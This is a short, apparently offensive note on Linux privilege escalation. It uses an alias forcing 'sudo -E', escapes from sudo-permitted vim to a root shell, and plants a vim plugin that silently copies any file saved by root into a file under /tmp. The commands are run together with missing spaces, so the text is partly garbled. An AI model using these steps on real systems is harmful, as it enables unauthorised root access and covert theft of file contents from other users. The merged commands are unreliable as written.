This only works for Ubuntu and RHEL flavored distros, Debian uses a root users VIM configuration.
echo'alias sudo="sudo -E"'>>.bashrc## This tells sudo to preserve the enviromnment ## If a user has sudo permissions limited to vim it's possible priv esc to root.sudovimfile_I_Have_Sudo_access_To.txt:shell## Copy any file they modify with VIM using elevated privsmkdir-p~/.vim/pluginvi~/.vim/plugin/settings.vim:if $USER =="root":autocmdBufWritePost*:silent:w!>>/tmp/output_vim.txt:endif## save the file.